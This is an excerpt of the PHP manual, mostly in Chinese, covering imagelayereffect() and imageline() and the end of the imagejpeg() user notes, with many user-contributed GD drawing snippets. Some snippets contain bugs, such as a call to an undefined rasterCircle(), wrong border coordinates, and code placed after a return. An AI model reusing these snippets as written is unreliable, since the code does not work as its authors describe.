     $thumb=ImageCreateTrueColor($thumb_w,$thumb_h);
     imagecopyresized($thumb,$im,0,0,0,0,$thumb_w,$thumb_h,$old_x,$old_y);

    imagejpeg($thumb,"",90);
    imagedestroy($thumb);
?>
25-May-2004 11:42
A word of warning when outputting images to the browser...

Make sure there is no extra spaces around the <?php ?> tags, in the file you are editing, and also any included files.

I began to think there was a bug in GD or something, and I checked the file I was working on, but forgot about the includes...

Hours gone..
gzink at zinkconsulting dot com 01-Jan-2004 03:17
Don't forget that JPEG compression has artifacts! And they're not all really obvious. The PHP JPEG compression is pretty decent, but it seems to generally:

-Lighten the image overall, by a reasonable amount (never seen this before, but it will drive graphic designers crazy, you might want to darken the image before compressing it)
-Reduce saturation, especially with images with lots of points of different color within a few pixels of each other (this is a documented feature of JPEG)
-Seriously mess with blue colors, which is common to all JPEG but really annoying in some situations with blue and black or other detailed blue parts

You might want to consider using imagepng() and outputting a PNG image instead of a JPEG if any of the above affect you, or your image is not very photo-like. Sometimes I have an algorithm compare JPEG to PNG for an image and send the smaller version to the user.

Also, when using imagepng(), you should use imageinterlace() before it 95% of the time. Interlaced JPEGs load progressively, improving in quality as the image loads, so users on slower connections see the whole image at low quality. All this happens without affecting the file size (actually, sometimes the file size is smaller!) or final quality.

Hope this helps a few people out. It's not all that obvious without lots of playing around.

-Galen
http://zinkconsulting.com/
irishcybernerd at email dot com 29-May-2003 10:33
Rather than using the temporary file, as described above, you can buffer the output stream. Someone else showed me this, and it seems to work very nicely.

    //Start buffering the output stream
    ob_start();

    // output the image as a file to the output stream
    Imagejpeg($im);

    //Read the output buffer
    $buffer = ob_get_contents();

    //clear the buffer
    ob_end_clean();

    //use $buffer as you wish...
dklein at gmx dot de 11-Dec-2001 08:52
Looks like any specified resolution settings in a JPEG file get lost when using imageJPEG() function in a script.
I had a high resolution JPEG which i added text to with imagestringup() so my customer can print the emailed JPEG as a filled form, but printing both Graphics from Photoshop revealed that any JPEG created is downsampled to 72 dpi, while width and height is kept.
(72 dpi is the standard web resolution)
Nothing to wonder about, but maybe if you read this you dont need to scratch your head :)


设定 alpha 混合标志以使用分层效果

  • ? imagejpeg
  • imageline ?
  • PHP Manual
  • GD 和图像处理 函数
  • 设定 alpha 混合标志以使用分层效果

imagelayereffect

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

imagelayereffect — 设定 alpha 混合标志以使用分层效果

说明

imagelayereffect(GdImage $image, int $effect): bool

设定 alpha 混色标志以使用分层效果。

参数

image

由图象创建函数(例如imagecreatetruecolor())返回的 GdImage 对象。

effect

下列常量之一：

IMG_EFFECT_REPLACE
使用像素替换（等同于将 true 传递给 imagealphablending()）
IMG_EFFECT_ALPHABLEND
使用普通像素混合（等同于将 false 传递给 imagealphablending()）
IMG_EFFECT_NORMAL
与 IMG_EFFECT_ALPHABLEND 相同。
IMG_EFFECT_OVERLAY
叠加（overlay）的效果是黑色背景像素将保持黑色，白色背景像素将保持白色，但灰色背景像素将采用前景像素的颜色。
IMG_EFFECT_MULTIPLY
Overlays with a multiply effect.

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | image 现在需要 GdImage 实例；之前需要有效的 gd resource。
7.2.0 | 新增 IMG_EFFECT_MULTIPLY（要求系统 libgd >= 2.1.1 或捆绑 libgd）。

示例

Example #1 imagelayereffect() 示例

<?php
// Setup an image
$im = imagecreatetruecolor(100, 100);

// Set a background
imagefilledrectangle($im, 0, 0, 100, 100, imagecolorallocate($im, 220, 220, 220));

// Apply the overlay alpha blending flag
imagelayereffect($im, IMG_EFFECT_OVERLAY);

// Draw two grey ellipses
imagefilledellipse($im, 50, 50, 40, 40, imagecolorallocate($im, 100, 255, 100));
imagefilledellipse($im, 50, 50, 50, 80, imagecolorallocate($im, 100, 100, 255));
imagefilledellipse($im, 50, 50, 80, 50, imagecolorallocate($im, 255, 100, 100));

// Output
header('Content-type: image/png');

imagepng($im);
imagedestroy($im);
?>

以上示例的输出类似于：

User Contributed Notes

rx 23-Sep-2014 12:15
IMG_EFFECT_OVERLAY doesn't work in PHP 5.6.0 with GD version: 2.1.0-alpha.
andrew at iwebsolutions dot co dot uk 07-Oct-2008 03:38
I have been getting a fatal error:

Fatal error: Call to undefined function imagelayereffect()

This doesn't work with Ubuntu server (8.04 lts) and the php5-gd package.  If you need this you will have to recompile PHP with GD built-in.
[myname] at mac dot com 23-Feb-2008 11:45
^^ my name is coreyward ^^

imagelayereffect needs to be applied to the destination image, not the source image. As noted, the only useful "effect" as of this time is IMG_EFFECT_OVERLAY since the others are merely another way of setting the alpha blending flag.

You can also use imagecopymerge with a lower pct argument to blend two images with more control over the opacity at which the top image is blended.

<?

// overlays $im_src onto $im_dst properly (assuming same dims)

imagelayereffect($im_dst, IMG_EFFECT_OVERLAY);
imagecopy($im_dst, $im_src, 0, 0, 0, 0, $im_dst_x, $im_dst_y);

?>
Remon 05-Feb-2008 01:12
I found the following example on a Chinese site and translated and adjusted it. It creates a portrait from the sample picture.

<?php

// Portrait image
$im = imagecreatefromjpeg( "sample.jpg");

// Get width and height
$w = imagesx($im);
$h = imagesy($im);

// Non-through
$c_visible = 0x007F7F7F;
// Background (black)
$c_bg = 0x00000000;

// Create mask
$im_mask = imagecreatetruecolor($w,$h);
imageFilledRectangle($im_mask, 0,0, $w,$h, $c_bg);
imageFilledEllipse ($im_mask, $w/2,$h/2, $w*.9,$h*.9, $c_visible);

// Only overlay seems to something useful
imagelayereffect($im_mask, IMG_EFFECT_OVERLAY);

imagecopy($im_mask, $im, 0,0, 0,0, $w,$h);
imagedestroy($im);

imagepng($im_mask);
imagedestroy($im_mask);

?>

Try removing the 'create mask' code and just add another image with 'createimagefromjpeg' to see 'normal' overlay. It blends the colors like different layers in Photoshop.


绘制直线

  • ? imagelayereffect
  • imageloadfont ?
  • PHP Manual
  • GD 和图像处理 函数
  • 绘制直线

imageline

(PHP 4, PHP 5, PHP 7, PHP 8)

imageline — 绘制直线

说明

imageline(
GdImage $image,
int $x1,
int $y1,
int $x2,
int $y2,
int $color
): bool

在指定的两个点之间画一条直线。

参数

image

由图象创建函数(例如imagecreatetruecolor())返回的 GdImage 对象。

x1

第一个点的 x 坐标。

y1

第一个点的 y 坐标。

x2

第二个点的 x 坐标。

y2

第二个点的 y 坐标。

color

直线颜色。颜色标识符使用 imagecolorallocate() 创建。

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | image 现在需要 GdImage 实例；之前需要有效的 gd resource。

示例

Example #1 绘制粗线

<?php

function imagelinethick($image, $x1, $y1, $x2, $y2, $color, $thick = 1)
{
/* 这样只适用于正交线
imagesetthickness($image, $thick);
return imageline($image, $x1, $y1, $x2, $y2, $color);
*/
if ($thick == 1) {
return imageline($image, $x1, $y1, $x2, $y2, $color);
}
$t = $thick / 2 - 0.5;
if ($x1 == $x2 || $y1 == $y2) {
return imagefilledrectangle($image, round(min($x1, $x2) - $t), round(min($y1, $y2) - $t), round(max($x1, $x2) + $t), round(max($y1, $y2) + $t), $color);
}
$k = ($y2 - $y1) / ($x2 - $x1); //y = kx + q
$a = $t / sqrt(1 + pow($k, 2));
$points = array(
round($x1 - (1+$k)*$a), round($y1 + (1-$k)*$a),
round($x1 - (1-$k)*$a), round($y1 - (1+$k)*$a),
round($x2 + (1+$k)*$a), round($y2 - (1-$k)*$a),
round($x2 + (1-$k)*$a), round($y2 + (1+$k)*$a),
);
imagefilledpolygon($image, $points, 4, $color);
return imagepolygon($image, $points, 4, $color);
}

?>

参见

  • imagecreatetruecolor() - 新建真彩色图像
  • imagecolorallocate() - 为图像分配颜色

User Contributed Notes

teixeira dot cmo at gmail.com 29-Apr-2017 11:08
If you draw on a canvas, using js ctx.lineJoin = "round"; and then try to do the same on a GD $img the result will not be the same.
Here is a simple code to draw a line similar to one made using lineJoin round.

$w=5; //set your line thickness;
imagesetthickness($img, $w);
imageline($img, $x1, $y1, $x2, $y2, $color);
imagesetthickness($img, 1);
imagefilledellipse ( $img , $x2 , $y2 , $w ,$w, $color);
v dot krypton at yandex dot ru 15-Jul-2016 01:40
This function draw border to image.
function imageborder($img,$color) {
    $width = imagesx($img);
    $height = imagesy($img);
    ImageLine($img, 0, 0, $width, 0, $color);
    ImageLine($img, 0, 0, 0, $height, $color);
    ImageLine($img, $width-1, 0, $height-1, $height, $color);
    ImageLine($img, 0, $height-1, $width, $height-1, $color);
}
Nils 15-Mar-2012 12:57
A quick function using imageline that I wrote so i could specify a starting point, angle and length of vector.

Thought other people might find this useful.

<?php
$size = 600;
$img = imagecreatetruecolor($size, $size);

$white = imagecolorallocate($img, 255, 255, 255);
$black = imagecolorallocate($img, 0, 0, 0);

imagefilledrectangle($img,0,0,$size,$size,$white);

function Vector($palette,$startx,$starty,$angle,$length,$colour){
    $angle = deg2rad($angle);
    $endx = $startx+cos($angle)*$length;
    $endy = $starty-sin($angle)*$length;
    return(imageline($palette,$startx,$starty,$endx,$endy,$colour));
}

Vector($img,$size/2,$size/2,30,200,$black);

header("Content-type: image/png");
imagepng($img);

?>

For this script angles work in a anti-clockwise direction (modify + and - in function to change start of 0 degrees and also direction of angle calculated)
Anonymous 24-Jul-2011 09:44
The most bold-line-functions i found have problems with lines in a certian direction (they draw smaller lines with some angles). To do a real bold line just use this function:

<?php
function imageBoldLine($resource, $x1, $y1, $x2, $y2, $Color, $BoldNess=2, $func='imageLine')
{
 $center = round($BoldNess/2);
 for($i=0;$i<$BoldNess;$i++)
 {
  $a = $center-$i; if($a<0){$a -= $a;}
  for($j=0;$j<$BoldNess;$j++)
  {
   $b = $center-$j; if($b<0){$b -= $b;}
   $c = sqrt($a*$a + $b*$b);
   if($c<=$BoldNess)
   {
    $func($resource, $x1 +$i, $y1+$j, $x2 +$i, $y2+$j, $Color);
   }
  }
 }
}
?>
allenn at hot dot ee 31-May-2010 02:55
Function drawing of a line by a brush uses midpoint circle algorithm..., if dullness I agree to remove :)))

<?php
//function drawLine(resource$image,int $x0,int $y0,int $x1,int $y1,int $lineWidth,int $color)
function drawLine($image,$x0, $y0,$x1, $y1,$radius,$color)
{
  $f = 1 - $radius;
  $ddF_x= 1;
  $ddF_y = -2 * $radius;
  $x= 0;
  $y = $radius;
    imageline($image,$x0, $y0 + $radius,$x1, $y1 + $radius,$color);
     imageline($image,$x0, $y0 - $radius,$x1, $y1 - $radius,$color);
    imageline($image,$x0 + $radius, $y0,$x1 + $radius, $y1,$color);
    imageline($image,$x0 - $radius, $y0,$x1 - $radius, $y1,$color);

  while($x< $y)
  {
    if($f >= 0)
    {
      $y--;
      $ddF_y += 2;
      $f += $ddF_y;
    }
    $x++;
    $ddF_x+= 2;
    $f += $ddF_x;
    imageline($image,$x0 + $x, $y0 + $y,$x1 + $x, $y1+ $y,$color);
       imageline($image,$x0 - $x, $y0 + $y,$x1 - $x, $y1 + $y,$color);
       imageline($image,$x0 + $x, $y0 - $y,$x1 + $x, $y1 - $y,$color);
       imageline($image,$x0 - $x, $y0 - $y,$x1 - $x, $y1 - $y,$color);
       imageline($image,$x0 + $y, $y0 + $x,$x1 + $y, $y1 + $x,$color);
       imageline($image,$x0 - $y, $y0 + $x,$x1 - $y, $y1 + $x,$color);
       imageline($image,$x0 + $y, $y0 - $x,$x1 + $y, $y1 - $x,$color);
       imageline($image,$x0 - $y, $y0 - $x,$x1 - $y, $y1 - $x,$color);

  }
}
header ('Content-type: image/png');
$img = imagecreatetruecolor(600,600);
$col = imagecolorallocate($img,0,255,252);
//use the function
rasterCircle($img,50, 50,540,540,40,$col);
imagepng($img);
imagedestroy($img);
?>
sbm007 at gmail dot com 15-Nov-2009 03:17
Here is a analog clock representation of the system time along with digits for hours and little dots for minutes/seconds:

<?php
$img = imagecreatetruecolor(450, 450);

$white = imagecolorallocate($img, 255, 255, 255);
$red = imagecolorallocate($img, 255, 0, 0);
$black = imagecolorallocate($img, 0, 0, 0);
$grey = imagecolorallocate($img, 211, 211, 211);

imagefill($img, 0, 0, $white);
imagearc($img, 224, 224, 400, 400, 0, 0, $black);
imagefilledarc($img, 224, 224, 15, 15, 0, 0, $black, IMG_ARC_PIE);

for ($zz = 0; $zz < 60; $zz++) {
    $digitCoords['x'][] = 175 * cos(deg2rad(($zz-10) * (360/60))) + 224;
    $digitCoords['y'][] = 175 * sin(deg2rad(($zz-10) * (360/60))) + 224;
}

for ($zz = 0; $zz < 60; $zz++) {
    if ($zz % 5 == 0)
        imagestring($img, 5, $digitCoords['x'][$zz] - 4, $digitCoords['y'][$zz] - 6, ($zz/5) + 1, $black);
    else
        imagefilledarc($img, $digitCoords['x'][$zz], $digitCoords['y'][$zz], 3, 3, 0, 0, $grey, IMG_ARC_PIE);
}

$seconds = date('s');
$minutes = date('i') + ($seconds/60);
$hours = date('h') + ($minutes/60);

$r_sec = 175;
$r_min = 175;
$r_hr = 125;

$x_sec = $r_sec * cos(deg2rad(($seconds-15) * (360/60))) + 224;
$y_sec = $r_sec * sin(deg2rad(($seconds-15) * (360/60))) + 224;

$x_min = $r_min * cos(deg2rad(($minutes-15) * (360/60))) + 224;
$y_min = $r_min * sin(deg2rad(($minutes-15) * (360/60))) + 224;

$x_hr = $r_hr * cos(deg2rad(($hours-3) * (360/12))) + 224;
$y_hr = $r_hr * sin(deg2rad(($hours-3) * (360/12))) + 224;

imageline($img, 224, 224, $x_sec, $y_sec, $red);
imagesetthickness($img, 3);
imageline($img, 224, 224, $x_min, $y_min, $black);
imagesetthickness($img, 5);
imageline($img, 224, 224, $x_hr, $y_hr, $black);

header("Content-type: image/png");
imagepng($img);

imagedestroy($img);
?>
Anonymous 12-Jul-2009 01:16
Here's another way of modifying likavcan's code to display filled arrows. This makes use of imagefilledpolygon(...) instead of recursive function calls.

<?php
function arrow($im, $x1, $y1, $x2, $y2, $alength, $awidth, $color) {
    $distance = sqrt(pow($x1 - $x2, 2) + pow($y1 - $y2, 2));

    $dx = $x2 + ($x1 - $x2) * $alength / $distance;
    $dy = $y2 + ($y1 - $y2) * $alength / $distance;

    $k = $awidth / $alength;

    $x2o = $x2 - $dx;
    $y2o = $dy - $y2;

    $x3 = $y2o * $k + $dx;
    $y3 = $x2o * $k + $dy;

    $x4 = $dx - $y2o * $k;
    $y4 = $dy - $x2o * $k;

    imageline($im, $x1, $y1, $dx, $dy, $color);
    imagefilledpolygon($im, array($x2, $y2, $x3, $y3, $x4, $y4), 3, $color);
}
?>
huirong dot jin at gmail dot com 01-Feb-2008 08:10
An example to draw Lissajous Curve (http://en.wikipedia.org/wiki/Lissajous_curve):
x = a1 * cos(t/T1);
y = a2 * sin(t/T2);

You can easily modify the codes to create your own oscilloscope application!

<?php
header ("Content-type: image/png");

$T1 = 20;
$T2 = 30;

$myImage = @imagecreatetruecolor(640, 480)
      or die("Cannot Initialize new GD image stream");
$text_color = imagecolorallocate($myImage, 255, 255, 224);
$poly_color = imagecolorallocate($myImage, 124, 120, 224);

//calculate x-value and y-value point by point
$points = array();
for ($i=0; $i<1000; $i=$i+1)
{
    //define curve's function
    $x = 310*cos($i/$T1); //define x-value
    $y = 230*sin($i/$T2);//define y-value

    //move the coordinate, append a point's x-value and y-value
    $points[] = 320+$x; //x-value
    $points[] = 240-$y;  //y-value
}

//count points
$totalPoints = count($points)/2;

//drawing title
$title = "Final Plot ($totalPoints points)";
imagestring($myImage, 3, 5, 5,  $title, $text_color);

/** drawing points one by one, notice if there
 * are 10 points, we need to draw 9 lines:
 * 1) point 0 to 1;
 * 2) point 1 to 2;
 * ...
 * ...
 * 9) point 8 to 9;
 */
for ($i=0; $i<$totalPoints-1; $i++)
{
    imageLine($myImage, $points[2*$i], $points[1+2*$i], $points[2+2*$i], $points[3+2*$i], $poly_color);
}

//finalizing
imagepng($myImage);
imagedestroy($myImage);
?>
huirong dot jin at gmail dot com 31-Jan-2008 01:57
An example to draw Amplitude Modulation curve: y = c * sin (x/a) * sin (x/b) . You can easily modify the codes to create your own oscilloscope application!

<?php
header ("Content-type: image/png");
$myImage = @imagecreatetruecolor(640, 480)
      or die("Cannot Initialize new GD image stream");
$text_color = imagecolorallocate($myImage, 255, 255, 224);
$poly_color = imagecolorallocate($myImage, 124, 120, 224);

//calculate x-value and y-value point by point
$points = array();
for ($i=1; $i<640; $i=$i+1)
{
    //define curve's function
    $x = $i; //define x-value, which is $i itself
    $y = 150*sin($x/80)*sin($x/5);//define y-value

    //append a point's x-value and y-value
    $points[] = $x; //x-value
    $points[] = 240-$y;  //y-value
}

//count points
$totalPoints = count($points)/2;

//drawing title
$title = "Final Plot ($totalPoints points)";
imagestring($myImage, 3, 5, 5,  $title, $text_color);

/** drawing points one by one, notice if there
 * are 10 points, we need to draw 9 lines:
 * 1) point 0 to 1;
 * 2) point 1 to 2;
 * ...
 * ...
 * 9) point 8 to 9;
 */
for ($i=0; $i<$totalPoints-1; $i++)
{
    imageLine($myImage, $points[2*$i], $points[1+2*$i], $points[2+2*$i], $points[3+2*$i], $poly_color);
}

//finalizing
imagepng($myImage);
imagedestroy($myImage);
?>
admin at xpmail dot net 30-Apr-2007 05:45
example of a Simple grid...
bool imagegrid ( resource $image, int $width, int $Height, int $size, mixed $color )

<?php
Header("Content-type: image/png");
$Width=450;
$Height=450;

$img = ImageCreateTrueColor($Width, $Height);

$bg = imagecolorallocate($img, 255, 255, 255);
imagefill($img, 0, 0, $bg);

$grid = imagecolorallocate($img, 225, 245, 249);

imagesetstyle($img, array($bg, $grid));
imagegrid($img, $Width, $Height, 10, IMG_COLOR_STYLED);
//makegrid($img, $Width, $Height, 10, $grid);

ImagePNG($img);
ImageDestroy($img);

function imagegrid($image, $w, $h, $s, $color)
{
    for($iw=1; $iw<$w/$s; $iw++){imageline($image, $iw*$s, 0, $iw*$s, $w, $color);}
    for($ih=1; $ih<$h/$s; $ih++){imageline($image, 0, $ih*$s, $w, $ih*$s, $color);}
}
?>
Jonathan W. 27-Apr-2007 01:15
I've modified the previous entry for drawing on a polar coordinate system to better represent angles based on a 360o whole circle bearing.

<?php

function imagepolarline($image,$x1,$y1,$length,$angle,$color)
{
    $x2 = $x1 + sin( deg2rad($angle) ) * $length;
    $y2 = $y1 + cos( deg2rad($angle+180) ) * $length;

    imageline($image,$x1,$y1,$x2,$y2,$color);
}

?>
pb_2001 at haefft dot de 04-Mar-2006 02:41
This is a function to make a dotted line. It accepts (it actually requires) 7 parameters and returns 1 if everything went OK and 0 if there was a problem.

int imagelinedotted ( resource im, int x1, int y1, int x2, int y2, int dist, int col )

imagelinedotted() draws a line from x1, y1 to x2, y2 (top left is 0, 0) in image im of colour col where dist defines the distance (measured in pixels) between one dot and another.

<?php
function imagelinedotted ($im, $x1, $y1, $x2, $y2, $dist, $col) {
    $transp = imagecolortransparent ($im);

    $style = array ($col);

    for ($i=0; $i<$dist; $i++) {
        array_push($style, $transp);        // Generate style array - loop needed for customisable distance between the dots
    }

    imagesetstyle ($im, $style);
    return (integer) imageline ($im, $x1, $y1, $x2, $y2, IMG_COLOR_STYLED);
    imagesetstyle ($im, array($col));        // Reset style - just in case...
}
?>
fatpratmatt at gmail dot com 30-Jan-2006 11:43
Here is a function which draws lines that cross at a specific point [It may need some tweaking]:

<?php
// Image Cross by Matt Evans
// $im - image resource
// $x - x coordinate where the lines should cross
// $y - y coordinate where the lines should cross
// $size - the length of each line
// $colour - the colour of the cross

function imagecross($im, $x, $y, $size = 5, $colour) {
imageline($im, $x+$size/2, $y+$size/2, $x-$size/2, $y-$size/2, $colour);
imageline($im, $x-$size/2, $y+$size, $x+$size/2, $y-$size, $colour);
}

// Example
imagecross($im, 50, 50, 5, $crosscolour);
?>
21-Oct-2005 07:30
imageline coordinate variables are documented as int ,  a value in decimal format will be truncated.

This may be useful when, for example, applying a non-integer scaling factor in generating an image.

Care should be taken to ensure this does not create significant errors that affect the quality of the image. For example :

<?php
$x=0.00000000001;$y=100;
imageline($img,0,0,0,$y+$x);
imageline($img,0,0,0,$y-$x);
?>

the first line will be straight , the second will have a step. Use round() where appropriate.
meid at gmx dot at 07-Sep-2005 10:39
Some simple code to draw lines with specific thickness using "imagefilledpolygon". Useful if your gdlib does not support "imagesetthickness".

<?
function dickelinie($img,$start_x,$start_y,$end_x,$end_y,$color,$thickness)
{
    $angle=(atan2(($start_y - $end_y),($end_x - $start_x)));

    $dist_x=$thickness*(sin($angle));
    $dist_y=$thickness*(cos($angle));

    $p1x=ceil(($start_x + $dist_x));
    $p1y=ceil(($start_y + $dist_y));
    $p2x=ceil(($end_x + $dist_x));
    $p2y=ceil(($end_y + $dist_y));
    $p3x=ceil(($end_x - $dist_x));
    $p3y=ceil(($end_y - $dist_y));
    $p4x=ceil(($start_x - $dist_x));
    $p4y=ceil(($start_y - $dist_y));

    $array=array(0=>$p1x,$p1y,$p2x,$p2y,$p3x,$p3y,$p4x,$p4y);
    imagefilledpolygon ( $img, $array, (count($array)/2), $color );
}
// Example:
header ("Content-type: image/jpeg");
$img = ImageCreate (210, 210) or die("Cannot Initialize new GD image stream ");
$backgroundcolor = ImageColorAllocate ($img, 255, 255, 255);
$orange = ImageColorAllocate($img, 252, 102, 4);
dickelinie($img, 10, 10, 10, 200,$orange,2);
dickelinie($img, 10, 200, 200, 10,$orange,2);
dickelinie($img, 200, 10, 200, 200,$orange,2);
imagejpeg($img);
ImageDestroy($img);

?>
d [AT] sprid [DOT] de 06-Sep-2005 03:12
Here my function do clear all problems. With this, you can draw firstly smooth lines (basic code adapted from code_couturier at graffiti dot net, with some performance changes). The special is, you can define the alpha-value of the line (0 = normal smooth line, 127 = fully transparent). Change whatever you want to make it better, but post your results ;)

<?php
/**
 * function imageSmoothAlphaLine() - version 1.0
 * Draws a smooth line with alpha-functionality
 *
 * @param   ident    the image to draw on
 * @param   integer  x1
 * @param   integer  y1
 * @param   integer  x2
 * @param   integer  y2
 * @param   integer  red (0 to 255)
 * @param   integer  green (0 to 255)
 * @param   integer  blue (0 to 255)
 * @param   integer  alpha (0 to 127)
 *
 * @access  public
 *
 * @author  DASPRiD <d@sprid.de>
 */
function imageSmoothAlphaLine ($image, $x1, $y1, $x2, $y2, $r, $g, $b, $alpha=0) {
  $icr = $r;
  $icg = $g;
  $icb = $b;
  $dcol = imagecolorallocatealpha($image, $icr, $icg, $icb, $alpha);

  if ($y1 == $y2 || $x1 == $x2)
    imageline($image, $x1, $y2, $x1, $y2, $dcol);
  else {
    $m = ($y2 - $y1) / ($x2 - $x1);
    $b = $y1 - $m * $x1;

    if (abs ($m) <2) {
      $x = min($x1, $x2);
      $endx = max($x1, $x2) + 1;

      while ($x < $endx) {
        $y = $m * $x + $b;
        $ya = ($y == floor($y) ? 1: $y - floor($y));
        $yb = ceil($y) - $y;

        $trgb = ImageColorAt($image, $x, floor($y));
        $tcr = ($trgb >> 16) & 0xFF;
        $tcg = ($trgb >> 8) & 0xFF;
        $tcb = $trgb & 0xFF;
        imagesetpixel($image, $x, floor($y), imagecolorallocatealpha($image, ($tcr * $ya + $icr * $yb), ($tcg * $ya + $icg * $yb), ($tcb * $ya + $icb * $yb), $alpha));

        $trgb = ImageColorAt($image, $x, ceil($y));
        $tcr = ($trgb >> 16) & 0xFF;
        $tcg = ($trgb >> 8) & 0xFF;
        $tcb = $trgb & 0xFF;
        imagesetpixel($image, $x, ceil($y), imagecolorallocatealpha($image, ($tcr * $yb + $icr * $ya), ($tcg * $yb + $icg * $ya), ($tcb * $yb + $icb * $ya), $alpha));

        $x++;
      }
    } else {
      $y = min($y1, $y2);
      $endy = max($y1, $y2) + 1;

      while ($y < $endy) {
        $x = ($y - $b) / $m;
        $xa = ($x == floor($x) ? 1: $x - floor($x));
        $xb = ceil($x) - $x;

        $trgb = ImageColorAt($image, floor($x), $y);
        $tcr = ($trgb >> 16) & 0xFF;
        $tcg = ($trgb >> 8) & 0xFF;
        $tcb = $trgb & 0xFF;
        imagesetpixel($image, floor($x), $y, imagecolorallocatealpha($image, ($tcr * $xa + $icr * $xb), ($tcg * $xa + $icg * $xb), ($tcb * $xa + $icb * $xb), $alpha));

        $trgb = ImageColorAt($image, ceil($x), $y);
        $tcr = ($trgb >> 16) & 0xFF;
        $tcg = ($trgb >> 8) & 0xFF;
        $tcb = $trgb & 0xFF;
        imagesetpixel ($image, ceil($x), $y, imagecolorallocatealpha($image, ($tcr * $xb + $icr * $xa), ($tcg * $xb + $icg * $xa), ($tcb * $xb + $icb * $xa), $alpha));

        $y ++;
      }
    }
  }
} // end of 'imageSmoothAlphaLine()' function
?>
Tyron 02-May-2005 11:50
// Here's a function for drawing a rotated gradient Rectangle (based on a previous note)

// Create An Image 255x255
$img = ImageCreateTrueColor(255, 255);

GradientRect($img,50,50,80,80,30);

ImagePng($img,"test.png");
ImageDestroy($img);
echo "<br><img src=\"test.png\">";

function GradientRect($img, $x1, $y1, $x2, $y2, $wdt) {
  $alpha = atan2($y2-$y1,$x2-$x1);
  $real_wdt = $wdt*sin($alpha);
  $real_hgt = $wdt*cos($alpha);
  echo "real wdt:".$real_wdt;
  echo "<br>real hgt:".$real_hgt;
  echo "<br>angle: ".($angle*180/pi());
  $plotD = 0;
  $i=0;

  $dy = $real_hgt/$wdt;
  $dx = $real_wdt/$wdt;
  $drgb= 256/$wdt;
  while($i++ < $wdt) {
    // Draw a line and move it down and make it lighter to get the gradient effect
    ImageLine($img, $x1-$i*$dx, $y1+$i*$dy, $x2-$i*$dx, $y2+$i*$dy, ImageColorAllocate($img, $i*$drgb, 0, 0));
    ImageLine($img, $x1-$i*$dx+1, $y1+$i*$dy, $x2-$i*$dx+1, $y2+$i*$dy, ImageColorAllocate($img, $i*$drgb, 0, 0));

  }
}
ajreading at classixshop dot com 23-Apr-2005 07:28
<?php
// An easy bit of code showing how you can use the ImageLine() function to create gradients

// Create An Image 255x255
$img = ImageCreateTrueColor(255, 255);

$plotD = 0;
while($plotD < 256)
{
    // Draw a line and move it down and make it lighter to get the gradient effect
    ImageLine($img, 0, $plotD , 255, $plotD, ImageColorAllocate($img, $plotD, $plotD, $plotD));
    $plotD++;
}
Header("Content-type: image/png");
ImagePng($img);
ImageDestroy($img);
?>
eviloverlord at gmail dot com 27-Jan-2005 07:50
This code is used to draw a board of hexagons (for games, classes, etc.)

<?php
//Draws a hexagonal board

// User-defined values
$maxTiles = 7;                    //The number of tiles at the center (widest part) of the board
$minTiles = 4;                    //The number of tiles at the edges of the board
$side = 30;                        //The length of the sides of the tiles in pixels
$bgColor = array(0, 0, 0);        //The background color in RGB format
$fgColor = array(255, 255, 255);//The foreground color in RGB format

//Calculated values
$widthInTiles = range($maxTiles, $minTiles);            //In our example: 7, 6, 5, 4
$rowsInTiles = count($widthInTiles)*2-1;                //the total number of rows on our board
$xSide = $side*sin(deg2rad(60));                        //the length of the x-part of the angled sides
$ySide = $side*sin(deg2rad(30));                        //the length of the y-part of the angled sides
$boardWidth = $xSide*$widthInTiles[0]*2;                //The entire width of the board
$boardHeight = $rowsInTiles*($side + $ySide) + $ySide;    //The entire height of the board

// create a blank image and allocate the foreground, background colors
$image = imagecreate($boardWidth, $boardHeight);
$bg = imagecolorallocate($image, $bgColor[0], $bgColor[1], $bgColor[2]);
$fg = imagecolorallocate($image, $fgColor[0], $fgColor[1], $fgColor[2]);

// draw the board
$row = 0;
foreach($widthInTiles as $tiles)
{
    for ($i = 0; $i < $tiles+1; $i++)
    {
        $x1 = $row*$xSide + $i*$xSide*2;
        $y1 = $boardHeight/2;
        $y1Dif = ($side/2) + $row*($side+$ySide);

        $x2 = $x1 + $xSide;
        $y2 = $y1;
        $y2Dif = $ySide;

        $x3 = $x2 + $xSide;

        if ($i < $tiles)
        {
            imageline($image, $x1, $y1 - $y1Dif, $x2, $y2 - $y1Dif - $y2Dif, $fg);
            imageline($image,  $x1, $y1 + $y1Dif, $x2, $y2 + $y1Dif + $y2Dif, $fg);
            imageline($image, $x2, $y2 - $y1Dif - $y2Dif, $x3, $y1 - $y1Dif, $fg);
            imageline($image, $x2, $y2 + $y1Dif + $y2Dif, $x3, $y1 + $y1Dif, $fg);
        }

        imageline($image, $x1, $y1 - $y1Dif, $x1, $y1 - $y1Dif + $side, $fg);
        imageline($image, $x1, $y1 + $y1Dif, $x1, $y1 + $y1Dif - $side, $fg);
    }
    $row++;
}

// output the picture
header("Content-type: image/png");
imagepng($image);
imagedestroy($image);
?>
Lionel Van Bemten 22-May-2004 03:41
here is a code to draw a "degraded" ... :
<?
header("Content-type : image/jpeg");

$image = @ImageCreate(200, 100)
  or die ("Erreur de cr?ation de l'image");

$lignes_colorees = 1;
$couleur_fond = ImageColorAllocate($image, 255, 255, 255);

$rouge_depart = 100;
$vert_depart = 255;
$bleu_depart = 0;

$rouge_fin = 0;
$vert_fin = 100;
$bleu_fin = 0;

$lignes = 100; //nb de lignes de l'image

$vert_diff = $vert_fin - $vert_depart;
$vert1 = $vert_diff / $lignes;

$bleu_diff = $bleu_fin - $bleu_depart;
$bleu1 = $bleu_diff / $lignes;

$rouge_diff = $rouge_fin - $rouge_depart;
$rouge1 = $rouge_diff / $lignes;

while ($lignes_colorees <= 100)
{
    $rouge2 = $lignes_colorees * $rouge1;    $rouge3 = $rouge_depart + $rouge2;
    $rouge = round($rouge3);

    $vert2 = $lignes_colorees * $vert1;
    $vert3 = $vert_depart + $vert2;
    $vert = round($vert2);

    $bleu2 = $lignes_colorees * $bleu1;
    $bleu3 = $bleu_depart + $bleu2;
    $bleu = round($bleu2);

    $y1 = $lignes_colorees;
    $y2 = $lignes_colorees;
    $x1 = 1;    $x2 = 200;

    $couleur = ImageColorAllocate($image, $rouge, $vert, $bleu);
    //dessine la ligne
    ImageLine($image, $x1, $y1, $x2, $y2, $couleur);    $lignes_colorees ++;
}

//dessine l'image
ImageJpeg($image);
?>
